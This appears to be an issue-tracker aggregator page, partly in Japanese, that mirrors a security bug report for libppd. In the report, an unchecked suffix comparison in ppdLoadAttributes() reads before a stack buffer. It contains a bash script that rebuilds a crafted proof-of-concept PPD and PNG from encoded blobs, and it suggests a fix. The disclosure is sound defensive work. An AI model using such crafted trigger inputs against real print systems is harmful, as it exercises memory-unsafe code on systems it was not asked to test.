libppd: a short cupsFilter value reads before a stack buffer
まだ誰も着手していません。
評価
調査の方向性
ppd/ppd-ipp.c の ppdLoadAttributes() 付近、528 行目あたりから始め、issue で説明されているサフィックス比較を確認します。AddressSanitizer を使ってビルドし、poc/printer.ppd に対して ./reproduce.sh を実行します。短い cupsFilter 値によって範囲外読み取りが発生しなくなり、既存のフィルターパイプラインも引き続き完了すれば完了です。
索引モデルが issue の本文から書いたものです。
説明
Summary
ppdLoadAttributes() checks whether each configured filter name ends in
texttotext by subtracting ten from the string length without first requiring
at least ten bytes. A valid 14-line PPD containing
*cupsFilter: "a 0 x" causes a stack-buffer-underflow read.
Validated libppd source:
- tested build:
522af8dd135f4dde66b1aac8b9d067808bbe122d - current upstream HEAD:
fc41539f761286396a7df8aeeda762070192e37e
ppd/ppd-ipp.c is byte-identical at both revisions.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.
poc/printer.ppd, SHA-256
5787338b61768a8acbd6b765355123b9e8ef6b3dafde23ffe19b8c2873c8d5d4,
is accepted by ppdOpenFile(). Run ./reproduce.sh; the 85-byte PNG only
provides a normal document to the standalone filter pipeline.
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: libppd: a short cupsFilter value reads before a stack buffer
# Finding ID: libppd-short-cupsfilter-stack-underflow
# Trigger: ppdLoadAttributes() checks whether each configured filter name ends
# in texttotext by subtracting ten from the string length without first
# requiring at least ten bytes. A valid 14-line PPD containing *cupsFilter: "a
# 0 x" causes a stack-buffer-underflow read.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0
# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (370 bytes)
write_file printer.ppd 5787338b61768a8acbd6b765355123b9e8ef6b3dafde23ffe19b8c2873c8d5d4 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA3WQzarCMBCF932K0JUWLKm6cideBcGfQtGFuzGNMdx2UtIELj79nagYF7r9zpkz
Mycry5/RvDZnOWPpNJ+kSbYytgV3lLbXBiPVjYysyDmxDaDyoCJfomp0f43KEoWpNaoZW1f7DTiN
RZJtAf0FhPNWWsradxJLq5FERaFbU8tmB204qJctEBfs4m831gWTtOSprsa6nRa/n3ykf5PeIspF
+OhpWh1Op5yaCNya2gtHcPBxdBg8VWxiMOEFH7JQh/Bd/xLGOX8QWuPufwLj7C9N/gHzE5NAcgEA
AA==
POC_PAYLOAD_1
Result
The ASan build aborts on a read before local buf[1024] in
ppdLoadAttributes() at ppd-ipp.c:528. The complete route is:
imagetops -> ppdFilterCUPSWrapper -> ppdFilterLoadPPD
-> ppdLoadAttributes -> strcmp
The uninstrumented filter exits 0 and writes a 1,303-byte PostScript result.
The read is bounded to the ten-byte suffix comparison. No stack value is
returned to the caller, and no dependent write has been demonstrated. The
current security effect is therefore sanitizer-visible memory unsafety in
malformed queue configuration, with low upgrade potential.
Cause and expected behavior
The code evaluates
strcmp(buf + strlen(buf) - 10, "texttotext") for every filter string.
Lengths below ten move the comparison pointer before buf.
The suffix check should first require strlen(buf) >= 10; filter values that
do not meet the expected grammar should be rejected or ignored.
- 主要言語
- C
- スター
- 5
- フォーク
- 29
- PR マージ指標
- 30日以内にマージされた PR はありません
コントリビューションガイド
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
OpenPrinting/libppd のほかの issue
-
難易度 2/5 1〜3時間 初心者へのやさしさ 72/100
OpenPrinting/libppd#86 ·
-
難易度 2/5 1〜3時間 初心者へのやさしさ 82/100
OpenPrinting/libppd#81 ·
-
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
OpenPrinting/libppd#79 · コメント 1 件 ·
-
難易度 3/5 1〜2日 初心者へのやさしさ 72/100
OpenPrinting/libppd#85 ·
-
難易度 4/5 3〜5日 初心者へのやさしさ 66/100
OpenPrinting/libppd#84 ·
OpenPrinting/libppd の issue をすべて見る
似ている issue
-
難易度 2/5 1〜3時間 初心者へのやさしさ 75/100
BasedHardware/omi#15662 · コメント 1 件 ·
-
難易度 2/5 1〜3時間 初心者へのやさしさ 84/100
-
level/task module/gcp type/bug
難易度 2/5 1〜3時間 初心者へのやさしさ 85/100
-
難易度 1/5 1時間未満 初心者へのやさしさ 86/100
hapostgres/pg_auto_failover#1190 ·
-
docs
難易度 1/5 1時間未満 初心者へのやさしさ 85/100